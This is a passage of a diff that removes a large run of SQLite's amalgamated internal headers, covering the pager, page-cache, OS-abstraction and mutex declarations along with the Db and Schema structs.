sqlite3VdbeRecordCompare(int,const void*,UnpackedRecord*); -SQLITE_PRIVATE UnpackedRecord *sqlite3VdbeAllocUnpackedRecord(KeyInfo *, char *, int, char **); - -#ifndef SQLITE_OMIT_TRIGGER -SQLITE_PRIVATE void sqlite3VdbeLinkSubProgram(Vdbe *, SubProgram *); -#endif - - -#ifndef NDEBUG -SQLITE_PRIVATE void sqlite3VdbeComment(Vdbe*, const char*, ...); -# define VdbeComment(X) sqlite3VdbeComment X -SQLITE_PRIVATE void sqlite3VdbeNoopComment(Vdbe*, const char*, ...); -# define VdbeNoopComment(X) sqlite3VdbeNoopComment X -#else -# define VdbeComment(X) -# define VdbeNoopComment(X) -#endif - -#endif - -/************** End of vdbe.h ************************************************/ -/************** Continuing where we left off in sqliteInt.h ******************/ -/************** Include pager.h in the middle of sqliteInt.h *****************/ -/************** Begin file pager.h *******************************************/ -/* -** 2001 September 15 -** -** The author disclaims copyright to this source code. In place of -** a legal notice, here is a blessing: -** -** May you do good and not evil. -** May you find forgiveness for yourself and forgive others. -** May you share freely, never taking more than you give. -** -************************************************************************* -** This header file defines the interface that the sqlite page cache -** subsystem. The page cache subsystem reads and writes a file a page -** at a time and provides a journal for rollback. -*/ - -#ifndef _PAGER_H_ -#define _PAGER_H_ - -/* -** Default maximum size for persistent journal files. A negative -** value means no limit. This value may be overridden using the -** sqlite3PagerJournalSizeLimit() API. See also "PRAGMA journal_size_limit". -*/ -#ifndef SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT - #define SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT -1 -#endif - -/* -** The type used to represent a page number. The first page in a file -** is called page 1. 0 is used to represent "not a page". -*/ -typedef u32 Pgno; - -/* -** Each open file is managed by a separate instance of the "Pager" structure. -*/ -typedef struct Pager Pager; - -/* -** Handle type for pages. -*/ -typedef struct PgHdr DbPage; - -/* -** Page number PAGER_MJ_PGNO is never used in an SQLite database (it is -** reserved for working around a windows/posix incompatibility). It is -** used in the journal to signify that the remainder of the journal file -** is devoted to storing a master journal name - there are no more pages to -** roll back. See comments for function writeMasterJournal() in pager.c -** for details. -*/ -#define PAGER_MJ_PGNO(x) ((Pgno)((PENDING_BYTE/((x)->pageSize))+1)) - -/* -** Allowed values for the flags parameter to sqlite3PagerOpen(). -** -** NOTE: These values must match the corresponding BTREE_ values in btree.h. -*/ -#define PAGER_OMIT_JOURNAL 0x0001 /* Do not use a rollback journal */ -#define PAGER_MEMORY 0x0002 /* In-memory database */ - -/* -** Valid values for the second argument to sqlite3PagerLockingMode(). -*/ -#define PAGER_LOCKINGMODE_QUERY -1 -#define PAGER_LOCKINGMODE_NORMAL 0 -#define PAGER_LOCKINGMODE_EXCLUSIVE 1 - -/* -** Numeric constants that encode the journalmode. -*/ -#define PAGER_JOURNALMODE_QUERY (-1) /* Query the value of journalmode */ -#define PAGER_JOURNALMODE_DELETE 0 /* Commit by deleting journal file */ -#define PAGER_JOURNALMODE_PERSIST 1 /* Commit by zeroing journal header */ -#define PAGER_JOURNALMODE_OFF 2 /* Journal omitted. */ -#define PAGER_JOURNALMODE_TRUNCATE 3 /* Commit by truncating journal */ -#define PAGER_JOURNALMODE_MEMORY 4 /* In-memory journal file */ -#define PAGER_JOURNALMODE_WAL 5 /* Use write-ahead logging */ - -/* -** Flags that make up the mask passed to sqlite3PagerAcquire(). -*/ -#define PAGER_ACQUIRE_NOCONTENT 0x01 /* Do not load data from disk */ -#define PAGER_ACQUIRE_READONLY 0x02 /* Read-only page is acceptable */ - -/* -** The remainder of this file contains the declarations of the functions -** that make up the Pager sub-system API. See source code comments for -** a detailed description of each routine. -*/ - -/* Open and close a Pager connection. */ -SQLITE_PRIVATE int sqlite3PagerOpen( - sqlite3_vfs*, - Pager **ppPager, - const char*, - int, - int, - int, - void(*)(DbPage*) -); -SQLITE_PRIVATE int sqlite3PagerClose(Pager *pPager); -SQLITE_PRIVATE int sqlite3PagerReadFileheader(Pager*, int, unsigned char*); - -/* Functions used to configure a Pager object. */ -SQLITE_PRIVATE void sqlite3PagerSetBusyhandler(Pager*, int(*)(void *), void *); -SQLITE_PRIVATE int sqlite3PagerSetPagesize(Pager*, u32*, int); -SQLITE_PRIVATE int sqlite3PagerMaxPageCount(Pager*, int); -SQLITE_PRIVATE void sqlite3PagerSetCachesize(Pager*, int); -SQLITE_PRIVATE void sqlite3PagerSetMmapLimit(Pager *, sqlite3_int64); -SQLITE_PRIVATE void sqlite3PagerShrink(Pager*); -SQLITE_PRIVATE void sqlite3PagerSetSafetyLevel(Pager*,int,int,int); -SQLITE_PRIVATE int sqlite3PagerLockingMode(Pager *, int); -SQLITE_PRIVATE int sqlite3PagerSetJournalMode(Pager *, int); -SQLITE_PRIVATE int sqlite3PagerGetJournalMode(Pager*); -SQLITE_PRIVATE int sqlite3PagerOkToChangeJournalMode(Pager*); -SQLITE_PRIVATE i64 sqlite3PagerJournalSizeLimit(Pager *, i64); -SQLITE_PRIVATE sqlite3_backup **sqlite3PagerBackupPtr(Pager*); - -/* Functions used to obtain and release page references. */ -SQLITE_PRIVATE int sqlite3PagerAcquire(Pager *pPager, Pgno pgno, DbPage **ppPage, int clrFlag); -#define sqlite3PagerGet(A,B,C) sqlite3PagerAcquire(A,B,C,0) -SQLITE_PRIVATE DbPage *sqlite3PagerLookup(Pager *pPager, Pgno pgno); -SQLITE_PRIVATE void sqlite3PagerRef(DbPage*); -SQLITE_PRIVATE void sqlite3PagerUnref(DbPage*); - -/* Operations on page references. */ -SQLITE_PRIVATE int sqlite3PagerWrite(DbPage*); -SQLITE_PRIVATE void sqlite3PagerDontWrite(DbPage*); -SQLITE_PRIVATE int sqlite3PagerMovepage(Pager*,DbPage*,Pgno,int); -SQLITE_PRIVATE int sqlite3PagerPageRefcount(DbPage*); -SQLITE_PRIVATE void *sqlite3PagerGetData(DbPage *); -SQLITE_PRIVATE void *sqlite3PagerGetExtra(DbPage *); - -/* Functions used to manage pager transactions and savepoints. */ -SQLITE_PRIVATE void sqlite3PagerPagecount(Pager*, int*); -SQLITE_PRIVATE int sqlite3PagerBegin(Pager*, int exFlag, int); -SQLITE_PRIVATE int sqlite3PagerCommitPhaseOne(Pager*,const char *zMaster, int); -SQLITE_PRIVATE int sqlite3PagerExclusiveLock(Pager*); -SQLITE_PRIVATE int sqlite3PagerSync(Pager *pPager); -SQLITE_PRIVATE int sqlite3PagerCommitPhaseTwo(Pager*); -SQLITE_PRIVATE int sqlite3PagerRollback(Pager*); -SQLITE_PRIVATE int sqlite3PagerOpenSavepoint(Pager *pPager, int n); -SQLITE_PRIVATE int sqlite3PagerSavepoint(Pager *pPager, int op, int iSavepoint); -SQLITE_PRIVATE int sqlite3PagerSharedLock(Pager *pPager); - -#ifndef SQLITE_OMIT_WAL -SQLITE_PRIVATE int sqlite3PagerCheckpoint(Pager *pPager, int, int*, int*); -SQLITE_PRIVATE int sqlite3PagerWalSupported(Pager *pPager); -SQLITE_PRIVATE int sqlite3PagerWalCallback(Pager *pPager); -SQLITE_PRIVATE int sqlite3PagerOpenWal(Pager *pPager, int *pisOpen); -SQLITE_PRIVATE int sqlite3PagerCloseWal(Pager *pPager); -#endif - -#ifdef SQLITE_ENABLE_ZIPVFS -SQLITE_PRIVATE int sqlite3PagerWalFramesize(Pager *pPager); -#endif - -/* Functions used to query pager state and configuration. */ -SQLITE_PRIVATE u8 sqlite3PagerIsreadonly(Pager*); -SQLITE_PRIVATE int sqlite3PagerRefcount(Pager*); -SQLITE_PRIVATE int sqlite3PagerMemUsed(Pager*); -SQLITE_PRIVATE const char *sqlite3PagerFilename(Pager*, int); -SQLITE_PRIVATE const sqlite3_vfs *sqlite3PagerVfs(Pager*); -SQLITE_PRIVATE sqlite3_file *sqlite3PagerFile(Pager*); -SQLITE_PRIVATE const char *sqlite3PagerJournalname(Pager*); -SQLITE_PRIVATE int sqlite3PagerNosync(Pager*); -SQLITE_PRIVATE void *sqlite3PagerTempSpace(Pager*); -SQLITE_PRIVATE int sqlite3PagerIsMemdb(Pager*); -SQLITE_PRIVATE void sqlite3PagerCacheStat(Pager *, int, int, int *); -SQLITE_PRIVATE void sqlite3PagerClearCache(Pager *); -SQLITE_PRIVATE int sqlite3SectorSize(sqlite3_file *); - -/* Functions used to truncate the database file. */ -SQLITE_PRIVATE void sqlite3PagerTruncateImage(Pager*,Pgno); - -#if defined(SQLITE_HAS_CODEC) && !defined(SQLITE_OMIT_WAL) -SQLITE_PRIVATE void *sqlite3PagerCodec(DbPage *); -#endif - -/* Functions to support testing and debugging. */ -#if !defined(NDEBUG) || defined(SQLITE_TEST) -SQLITE_PRIVATE Pgno sqlite3PagerPagenumber(DbPage*); -SQLITE_PRIVATE int sqlite3PagerIswriteable(DbPage*); -#endif -#ifdef SQLITE_TEST -SQLITE_PRIVATE int *sqlite3PagerStats(Pager*); -SQLITE_PRIVATE void sqlite3PagerRefdump(Pager*); - void disable_simulated_io_errors(void); - void enable_simulated_io_errors(void); -#else -# define disable_simulated_io_errors() -# define enable_simulated_io_errors() -#endif - -#endif /* _PAGER_H_ */ - -/************** End of pager.h ***********************************************/ -/************** Continuing where we left off in sqliteInt.h ******************/ -/************** Include pcache.h in the middle of sqliteInt.h ****************/ -/************** Begin file pcache.h ******************************************/ -/* -** 2008 August 05 -** -** The author disclaims copyright to this source code. In place of -** a legal notice, here is a blessing: -** -** May you do good and not evil. -** May you find forgiveness for yourself and forgive others. -** May you share freely, never taking more than you give. -** -************************************************************************* -** This header file defines the interface that the sqlite page cache -** subsystem. -*/ - -#ifndef _PCACHE_H_ - -typedef struct PgHdr PgHdr; -typedef struct PCache PCache; - -/* -** Every page in the cache is controlled by an instance of the following -** structure. -*/ -struct PgHdr { - sqlite3_pcache_page *pPage; /* Pcache object page handle */ - void *pData; /* Page data */ - void *pExtra; /* Extra content */ - PgHdr *pDirty; /* Transient list of dirty pages */ - Pager *pPager; /* The pager this page is part of */ - Pgno pgno; /* Page number for this page */ -#ifdef SQLITE_CHECK_PAGES - u32 pageHash; /* Hash of page content */ -#endif - u16 flags; /* PGHDR flags defined below */ - - /********************************************************************** - ** Elements above are public. All that follows is private to pcache.c - ** and should not be accessed by other modules. - */ - i16 nRef; /* Number of users of this page */ - PCache *pCache; /* Cache that owns this page */ - - PgHdr *pDirtyNext; /* Next element in list of dirty pages */ - PgHdr *pDirtyPrev; /* Previous element in list of dirty pages */ -}; - -/* Bit values for PgHdr.flags */ -#define PGHDR_DIRTY 0x002 /* Page has changed */ -#define PGHDR_NEED_SYNC 0x004 /* Fsync the rollback journal before - ** writing this page to the database */ -#define PGHDR_NEED_READ 0x008 /* Content is unread */ -#define PGHDR_REUSE_UNLIKELY 0x010 /* A hint that reuse is unlikely */ -#define PGHDR_DONT_WRITE 0x020 /* Do not write content to disk */ - -#define PGHDR_MMAP 0x040 /* This is an mmap page object */ - -/* Initialize and shutdown the page cache subsystem */ -SQLITE_PRIVATE int sqlite3PcacheInitialize(void); -SQLITE_PRIVATE void sqlite3PcacheShutdown(void); - -/* Page cache buffer management: -** These routines implement SQLITE_CONFIG_PAGECACHE. -*/ -SQLITE_PRIVATE void sqlite3PCacheBufferSetup(void *, int sz, int n); - -/* Create a new pager cache. -** Under memory stress, invoke xStress to try to make pages clean. -** Only clean and unpinned pages can be reclaimed. -*/ -SQLITE_PRIVATE void sqlite3PcacheOpen( - int szPage, /* Size of every page */ - int szExtra, /* Extra space associated with each page */ - int bPurgeable, /* True if pages are on backing store */ - int (*xStress)(void*, PgHdr*), /* Call to try to make pages clean */ - void *pStress, /* Argument to xStress */ - PCache *pToInit /* Preallocated space for the PCache */ -); - -/* Modify the page-size after the cache has been created. */ -SQLITE_PRIVATE void sqlite3PcacheSetPageSize(PCache *, int); - -/* Return the size in bytes of a PCache object. Used to preallocate -** storage space. -*/ -SQLITE_PRIVATE int sqlite3PcacheSize(void); - -/* One release per successful fetch. Page is pinned until released. -** Reference counted. -*/ -SQLITE_PRIVATE int sqlite3PcacheFetch(PCache*, Pgno, int createFlag, PgHdr**); -SQLITE_PRIVATE void sqlite3PcacheRelease(PgHdr*); - -SQLITE_PRIVATE void sqlite3PcacheDrop(PgHdr*); /* Remove page from cache */ -SQLITE_PRIVATE void sqlite3PcacheMakeDirty(PgHdr*); /* Make sure page is marked dirty */ -SQLITE_PRIVATE void sqlite3PcacheMakeClean(PgHdr*); /* Mark a single page as clean */ -SQLITE_PRIVATE void sqlite3PcacheCleanAll(PCache*); /* Mark all dirty list pages as clean */ - -/* Change a page number. Used by incr-vacuum. */ -SQLITE_PRIVATE void sqlite3PcacheMove(PgHdr*, Pgno); - -/* Remove all pages with pgno>x. Reset the cache if x==0 */ -SQLITE_PRIVATE void sqlite3PcacheTruncate(PCache*, Pgno x); - -/* Get a list of all dirty pages in the cache, sorted by page number */ -SQLITE_PRIVATE PgHdr *sqlite3PcacheDirtyList(PCache*); - -/* Reset and close the cache object */ -SQLITE_PRIVATE void sqlite3PcacheClose(PCache*); - -/* Clear flags from pages of the page cache */ -SQLITE_PRIVATE void sqlite3PcacheClearSyncFlags(PCache *); - -/* Discard the contents of the cache */ -SQLITE_PRIVATE void sqlite3PcacheClear(PCache*); - -/* Return the total number of outstanding page references */ -SQLITE_PRIVATE int sqlite3PcacheRefCount(PCache*); - -/* Increment the reference count of an existing page */ -SQLITE_PRIVATE void sqlite3PcacheRef(PgHdr*); - -SQLITE_PRIVATE int sqlite3PcachePageRefcount(PgHdr*); - -/* Return the total number of pages stored in the cache */ -SQLITE_PRIVATE int sqlite3PcachePagecount(PCache*); - -#if defined(SQLITE_CHECK_PAGES) || defined(SQLITE_DEBUG) -/* Iterate through all dirty pages currently stored in the cache. This -** interface is only available if SQLITE_CHECK_PAGES is defined when the -** library is built. -*/ -SQLITE_PRIVATE void sqlite3PcacheIterateDirty(PCache *pCache, void (*xIter)(PgHdr *)); -#endif - -/* Set and get the suggested cache-size for the specified pager-cache. -** -** If no global maximum is configured, then the system attempts to limit -** the total number of pages cached by purgeable pager-caches to the sum -** of the suggested cache-sizes. -*/ -SQLITE_PRIVATE void sqlite3PcacheSetCachesize(PCache *, int); -#ifdef SQLITE_TEST -SQLITE_PRIVATE int sqlite3PcacheGetCachesize(PCache *); -#endif - -/* Free up as much memory as possible from the page cache */ -SQLITE_PRIVATE void sqlite3PcacheShrink(PCache*); - -#ifdef SQLITE_ENABLE_MEMORY_MANAGEMENT -/* Try to return memory used by the pcache module to the main memory heap */ -SQLITE_PRIVATE int sqlite3PcacheReleaseMemory(int); -#endif - -#ifdef SQLITE_TEST -SQLITE_PRIVATE void sqlite3PcacheStats(int*,int*,int*,int*); -#endif - -SQLITE_PRIVATE void sqlite3PCacheSetDefault(void); - -#endif /* _PCACHE_H_ */ - -/************** End of pcache.h **********************************************/ -/************** Continuing where we left off in sqliteInt.h ******************/ - -/************** Include os.h in the middle of sqliteInt.h ********************/ -/************** Begin file os.h **********************************************/ -/* -** 2001 September 16 -** -** The author disclaims copyright to this source code. In place of -** a legal notice, here is a blessing: -** -** May you do good and not evil. -** May you find forgiveness for yourself and forgive others. -** May you share freely, never taking more than you give. -** -****************************************************************************** -** -** This header file (together with is companion C source-code file -** "os.c") attempt to abstract the underlying operating system so that -** the SQLite library will work on both POSIX and windows systems. -** -** This header file is #include-ed by sqliteInt.h and thus ends up -** being included by every source file. -*/ -#ifndef _SQLITE_OS_H_ -#define _SQLITE_OS_H_ - -/* -** Figure out if we are dealing with Unix, Windows, or some other -** operating system. After the following block of preprocess macros, -** all of SQLITE_OS_UNIX, SQLITE_OS_WIN, and SQLITE_OS_OTHER -** will defined to either 1 or 0. One of the four will be 1. The other -** three will be 0. -*/ -#if defined(SQLITE_OS_OTHER) -# if SQLITE_OS_OTHER==1 -# undef SQLITE_OS_UNIX -# define SQLITE_OS_UNIX 0 -# undef SQLITE_OS_WIN -# define SQLITE_OS_WIN 0 -# else -# undef SQLITE_OS_OTHER -# endif -#endif -#if !defined(SQLITE_OS_UNIX) && !defined(SQLITE_OS_OTHER) -# define SQLITE_OS_OTHER 0 -# ifndef SQLITE_OS_WIN -# if defined(_WIN32) || defined(WIN32) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__BORLANDC__) -# define SQLITE_OS_WIN 1 -# define SQLITE_OS_UNIX 0 -# else -# define SQLITE_OS_WIN 0 -# define SQLITE_OS_UNIX 1 -# endif -# else -# define SQLITE_OS_UNIX 0 -# endif -#else -# ifndef SQLITE_OS_WIN -# define SQLITE_OS_WIN 0 -# endif -#endif - -#if SQLITE_OS_WIN -# include -#endif - -/* -** Determine if we are dealing with Windows NT. -** -** We ought to be able to determine if we are compiling for win98 or winNT -** using the _WIN32_WINNT macro as follows: -** -** #if defined(_WIN32_WINNT) -** # define SQLITE_OS_WINNT 1 -** #else -** # define SQLITE_OS_WINNT 0 -** #endif -** -** However, vs2005 does not set _WIN32_WINNT by default, as it ought to, -** so the above test does not work. We'll just assume that everything is -** winNT unless the programmer explicitly says otherwise by setting -** SQLITE_OS_WINNT to 0. -*/ -#if SQLITE_OS_WIN && !defined(SQLITE_OS_WINNT) -# define SQLITE_OS_WINNT 1 -#endif - -/* -** Determine if we are dealing with WindowsCE - which has a much -** reduced API. -*/ -#if defined(_WIN32_WCE) -# define SQLITE_OS_WINCE 1 -#else -# define SQLITE_OS_WINCE 0 -#endif - -/* -** Determine if we are dealing with WinRT, which provides only a subset of -** the full Win32 API. -*/ -#if !defined(SQLITE_OS_WINRT) -# define SQLITE_OS_WINRT 0 -#endif - -/* If the SET_FULLSYNC macro is not defined above, then make it -** a no-op -*/ -#ifndef SET_FULLSYNC -# define SET_FULLSYNC(x,y) -#endif - -/* -** The default size of a disk sector -*/ -#ifndef SQLITE_DEFAULT_SECTOR_SIZE -# define SQLITE_DEFAULT_SECTOR_SIZE 4096 -#endif - -/* -** Temporary files are named starting with this prefix followed by 16 random -** alphanumeric characters, and no file extension. They are stored in the -** OS's standard temporary file directory, and are deleted prior to exit. -** If sqlite is being embedded in another program, you may wish to change the -** prefix to reflect your program's name, so that if your program exits -** prematurely, old temporary files can be easily identified. This can be done -** using -DSQLITE_TEMP_FILE_PREFIX=myprefix_ on the compiler command line. -** -** 2006-10-31: The default prefix used to be "sqlite_". But then -** Mcafee started using SQLite in their anti-virus product and it -** started putting files with the "sqlite" name in the c:/temp folder. -** This annoyed many windows users. Those users would then do a -** Google search for "sqlite", find the telephone numbers of the -** developers and call to wake them up at night and complain. -** For this reason, the default name prefix is changed to be "sqlite" -** spelled backwards. So the temp files are still identified, but -** anybody smart enough to figure out the code is also likely smart -** enough to know that calling the developer will not help get rid -** of the file. -*/ -#ifndef SQLITE_TEMP_FILE_PREFIX -# define SQLITE_TEMP_FILE_PREFIX "etilqs_" -#endif - -/* -** The following values may be passed as the second argument to -** sqlite3OsLock(). The various locks exhibit the following semantics: -** -** SHARED: Any number of processes may hold a SHARED lock simultaneously. -** RESERVED: A single process may hold a RESERVED lock on a file at -** any time. Other processes may hold and obtain new SHARED locks. -** PENDING: A single process may hold a PENDING lock on a file at -** any one time. Existing SHARED locks may persist, but no new -** SHARED locks may be obtained by other processes. -** EXCLUSIVE: An EXCLUSIVE lock precludes all other locks. -** -** PENDING_LOCK may not be passed directly to sqlite3OsLock(). Instead, a -** process that requests an EXCLUSIVE lock may actually obtain a PENDING -** lock. This can be upgraded to an EXCLUSIVE lock by a subsequent call to -** sqlite3OsLock(). -*/ -#define NO_LOCK 0 -#define SHARED_LOCK 1 -#define RESERVED_LOCK 2 -#define PENDING_LOCK 3 -#define EXCLUSIVE_LOCK 4 - -/* -** File Locking Notes: (Mostly about windows but also some info for Unix) -** -** We cannot use LockFileEx() or UnlockFileEx() on Win95/98/ME because -** those functions are not available. So we use only LockFile() and -** UnlockFile(). -** -** LockFile() prevents not just writing but also reading by other processes. -** A SHARED_LOCK is obtained by locking a single randomly-chosen -** byte out of a specific range of bytes. The lock byte is obtained at -** random so two separate readers can probably access the file at the -** same time, unless they are unlucky and choose the same lock byte. -** An EXCLUSIVE_LOCK is obtained by locking all bytes in the range. -** There can only be one writer. A RESERVED_LOCK is obtained by locking -** a single byte of the file that is designated as the reserved lock byte. -** A PENDING_LOCK is obtained by locking a designated byte different from -** the RESERVED_LOCK byte. -** -** On WinNT/2K/XP systems, LockFileEx() and UnlockFileEx() are available, -** which means we can use reader/writer locks. When reader/writer locks -** are used, the lock is placed on the same range of bytes that is used -** for probabilistic locking in Win95/98/ME. Hence, the locking scheme -** will support two or more Win95 readers or two or more WinNT readers. -** But a single Win95 reader will lock out all WinNT readers and a single -** WinNT reader will lock out all other Win95 readers. -** -** The following #defines specify the range of bytes used for locking. -** SHARED_SIZE is the number of bytes available in the pool from which -** a random byte is selected for a shared lock. The pool of bytes for -** shared locks begins at SHARED_FIRST. -** -** The same locking strategy and -** byte ranges are used for Unix. This leaves open the possiblity of having -** clients on win95, winNT, and unix all talking to the same shared file -** and all locking correctly. To do so would require that samba (or whatever -** tool is being used for file sharing) implements locks correctly between -** windows and unix. I'm guessing that isn't likely to happen, but by -** using the same locking range we are at least open to the possibility. -** -** Locking in windows is manditory. For this reason, we cannot store -** actual data in the bytes used for locking. The pager never allocates -** the pages involved in locking therefore. SHARED_SIZE is selected so -** that all locks will fit on a single page even at the minimum page size. -** PENDING_BYTE defines the beginning of the locks. By default PENDING_BYTE -** is set high so that we don't have to allocate an unused page except -** for very large databases. But one should test the page skipping logic -** by setting PENDING_BYTE low and running the entire regression suite. -** -** Changing the value of PENDING_BYTE results in a subtly incompatible -** file format. Depending on how it is changed, you might not notice -** the incompatibility right away, even running a full regression test. -** The default location of PENDING_BYTE is the first byte past the -** 1GB boundary. -** -*/ -#ifdef SQLITE_OMIT_WSD -# define PENDING_BYTE (0x40000000) -#else -# define PENDING_BYTE sqlite3PendingByte -#endif -#define RESERVED_BYTE (PENDING_BYTE+1) -#define SHARED_FIRST (PENDING_BYTE+2) -#define SHARED_SIZE 510 - -/* -** Wrapper around OS specific sqlite3_os_init() function. -*/ -SQLITE_PRIVATE int sqlite3OsInit(void); - -/* -** Functions for accessing sqlite3_file methods -*/ -SQLITE_PRIVATE int sqlite3OsClose(sqlite3_file*); -SQLITE_PRIVATE int sqlite3OsRead(sqlite3_file*, void*, int amt, i64 offset); -SQLITE_PRIVATE int sqlite3OsWrite(sqlite3_file*, const void*, int amt, i64 offset); -SQLITE_PRIVATE int sqlite3OsTruncate(sqlite3_file*, i64 size); -SQLITE_PRIVATE int sqlite3OsSync(sqlite3_file*, int); -SQLITE_PRIVATE int sqlite3OsFileSize(sqlite3_file*, i64 *pSize); -SQLITE_PRIVATE int sqlite3OsLock(sqlite3_file*, int); -SQLITE_PRIVATE int sqlite3OsUnlock(sqlite3_file*, int); -SQLITE_PRIVATE int sqlite3OsCheckReservedLock(sqlite3_file *id, int *pResOut); -SQLITE_PRIVATE int sqlite3OsFileControl(sqlite3_file*,int,void*); -SQLITE_PRIVATE void sqlite3OsFileControlHint(sqlite3_file*,int,void*); -#define SQLITE_FCNTL_DB_UNCHANGED 0xca093fa0 -SQLITE_PRIVATE int sqlite3OsSectorSize(sqlite3_file *id); -SQLITE_PRIVATE int sqlite3OsDeviceCharacteristics(sqlite3_file *id); -SQLITE_PRIVATE int sqlite3OsShmMap(sqlite3_file *,int,int,int,void volatile **); -SQLITE_PRIVATE int sqlite3OsShmLock(sqlite3_file *id, int, int, int); -SQLITE_PRIVATE void sqlite3OsShmBarrier(sqlite3_file *id); -SQLITE_PRIVATE int sqlite3OsShmUnmap(sqlite3_file *id, int); -SQLITE_PRIVATE int sqlite3OsFetch(sqlite3_file *id, i64, int, void **); -SQLITE_PRIVATE int sqlite3OsUnfetch(sqlite3_file *, i64, void *); - - -/* -** Functions for accessing sqlite3_vfs methods -*/ -SQLITE_PRIVATE int sqlite3OsOpen(sqlite3_vfs *, const char *, sqlite3_file*, int, int *); -SQLITE_PRIVATE int sqlite3OsDelete(sqlite3_vfs *, const char *, int); -SQLITE_PRIVATE int sqlite3OsAccess(sqlite3_vfs *, const char *, int, int *pResOut); -SQLITE_PRIVATE int sqlite3OsFullPathname(sqlite3_vfs *, const char *, int, char *); -#ifndef SQLITE_OMIT_LOAD_EXTENSION -SQLITE_PRIVATE void *sqlite3OsDlOpen(sqlite3_vfs *, const char *); -SQLITE_PRIVATE void sqlite3OsDlError(sqlite3_vfs *, int, char *); -SQLITE_PRIVATE void (*sqlite3OsDlSym(sqlite3_vfs *, void *, const char *))(void); -SQLITE_PRIVATE void sqlite3OsDlClose(sqlite3_vfs *, void *); -#endif /* SQLITE_OMIT_LOAD_EXTENSION */ -SQLITE_PRIVATE int sqlite3OsRandomness(sqlite3_vfs *, int, char *); -SQLITE_PRIVATE int sqlite3OsSleep(sqlite3_vfs *, int); -SQLITE_PRIVATE int sqlite3OsCurrentTimeInt64(sqlite3_vfs *, sqlite3_int64*); - -/* -** Convenience functions for opening and closing files using -** sqlite3_malloc() to obtain space for the file-handle structure. -*/ -SQLITE_PRIVATE int sqlite3OsOpenMalloc(sqlite3_vfs *, const char *, sqlite3_file **, int,int*); -SQLITE_PRIVATE int sqlite3OsCloseFree(sqlite3_file *); - -#endif /* _SQLITE_OS_H_ */ - -/************** End of os.h **************************************************/ -/************** Continuing where we left off in sqliteInt.h ******************/ -/************** Include mutex.h in the middle of sqliteInt.h *****************/ -/************** Begin file mutex.h *******************************************/ -/* -** 2007 August 28 -** -** The author disclaims copyright to this source code. In place of -** a legal notice, here is a blessing: -** -** May you do good and not evil. -** May you find forgiveness for yourself and forgive others. -** May you share freely, never taking more than you give. -** -************************************************************************* -** -** This file contains the common header for all mutex implementations. -** The sqliteInt.h header #includes this file so that it is available -** to all source files. We break it out in an effort to keep the code -** better organized. -** -** NOTE: source files should *not* #include this header file directly. -** Source files should #include the sqliteInt.h file and let that file -** include this one indirectly. -*/ - - -/* -** Figure out what version of the code to use. The choices are -** -** SQLITE_MUTEX_OMIT No mutex logic. Not even stubs. The -** mutexes implemention cannot be overridden -** at start-time. -** -** SQLITE_MUTEX_NOOP For single-threaded applications. No -** mutual exclusion is provided. But this -** implementation can be overridden at -** start-time. -** -** SQLITE_MUTEX_PTHREADS For multi-threaded applications on Unix. -** -** SQLITE_MUTEX_W32 For multi-threaded applications on Win32. -*/ -#if !SQLITE_THREADSAFE -# define SQLITE_MUTEX_OMIT -#endif -#if SQLITE_THREADSAFE && !defined(SQLITE_MUTEX_NOOP) -# if SQLITE_OS_UNIX -# define SQLITE_MUTEX_PTHREADS -# elif SQLITE_OS_WIN -# define SQLITE_MUTEX_W32 -# else -# define SQLITE_MUTEX_NOOP -# endif -#endif - -#ifdef SQLITE_MUTEX_OMIT -/* -** If this is a no-op implementation, implement everything as macros. -*/ -#define sqlite3_mutex_alloc(X) ((sqlite3_mutex*)8) -#define sqlite3_mutex_free(X) -#define sqlite3_mutex_enter(X) -#define sqlite3_mutex_try(X) SQLITE_OK -#define sqlite3_mutex_leave(X) -#define sqlite3_mutex_held(X) ((void)(X),1) -#define sqlite3_mutex_notheld(X) ((void)(X),1) -#define sqlite3MutexAlloc(X) ((sqlite3_mutex*)8) -#define sqlite3MutexInit() SQLITE_OK -#define sqlite3MutexEnd() -#define MUTEX_LOGIC(X) -#else -#define MUTEX_LOGIC(X) X -#endif /* defined(SQLITE_MUTEX_OMIT) */ - -/************** End of mutex.h ***********************************************/ -/************** Continuing where we left off in sqliteInt.h ******************/ - - -/* -** Each database file to be accessed by the system is an instance -** of the following structure. There are normally two of these structures -** in the sqlite.aDb[] array. aDb[0] is the main database file and -** aDb[1] is the database file used to hold temporary tables. Additional -** databases may be attached. -*/ -struct Db { - char *zName; /* Name of this database */ - Btree *pBt; /* The B*Tree structure for this database file */ - u8 inTrans; /* 0: not writable. 1: Transaction. 2: Checkpoint */ - u8 safety_level; /* How aggressive at syncing data to disk */ - Schema *pSchema; /* Pointer to database schema (possibly shared) */ -}; - -/* -** An instance of the following structure stores a database schema. -** -** Most Schema objects are associated with a Btree. The exception is -** the Schema for the TEMP databaes (sqlite3.aDb[1]) which is free-standing. -** In shared cache mode, a single Schema object can be shared by multiple -** Btrees that refer to the same underlying BtShared object. -** -** Schema objects are automatically deallocated when the last Btree that -** references them is destroyed. The TEMP Schema is manually freed by -** sqlite3_close(). -* -** A thread must be holding a mutex on the corresponding Btree in order -** to access Schema content. This implies that the thread must also be -** holding a mutex on the sqlite3 connection pointer that owns the Btree. -** For a TEMP Schema, only the connection mutex is required. -*/ -struct Schema { - int schema_cookie; /* Database schema version number for this file */ - int iGeneration; /* Generation counter. Incremented with each change */ - Hash tblHash; /* All tables indexed by name */ - Hash idxHash; /* All (named) indices indexed by name */ - Hash trigHash; /* All triggers indexed by name */ - Hash fkeyHash; /* All foreign keys by referenced table name */ - Table *pSeqTab; /* The sqlite_sequence table used by AUTOINCREMENT */ - u8 file_format; /* Schema format version for this file */ - u8 enc; /* Text encoding used by this database */ - u16 flags; /* Flags associated with this schema */ - int cache_size; /* Number of pages to use in the cache */ -}; - -/* -** These macros can be used to test, set, or clear bits in the -** Db.pSchema->flags field. -*/ -#define DbHasProperty(D,I,P) (((D)->aDb[I].pSchema->flags&(P))==(P)) -#define DbHasAnyProperty(D,I,P) (((D)->aDb[I].pSchema->flags&(P))!=0) -#define DbSetProperty(D,I,P) (D)->aDb[I].pSchema->flags|=(P) -#define DbClearProperty(D,I,P) (D)->aDb[I].pSchema->flags&=~(P) - -/* -** Allowed values for the DB.pSchema->flags field. -** -** The DB_SchemaLoaded flag is set after the database schema has been -** read into internal hash tables. -** -** DB_UnresetViews means that one or more views have column names that -** have been filled out. If the schema changes, these column names might -** changes and so the view will need to be reset. -*/ -#define 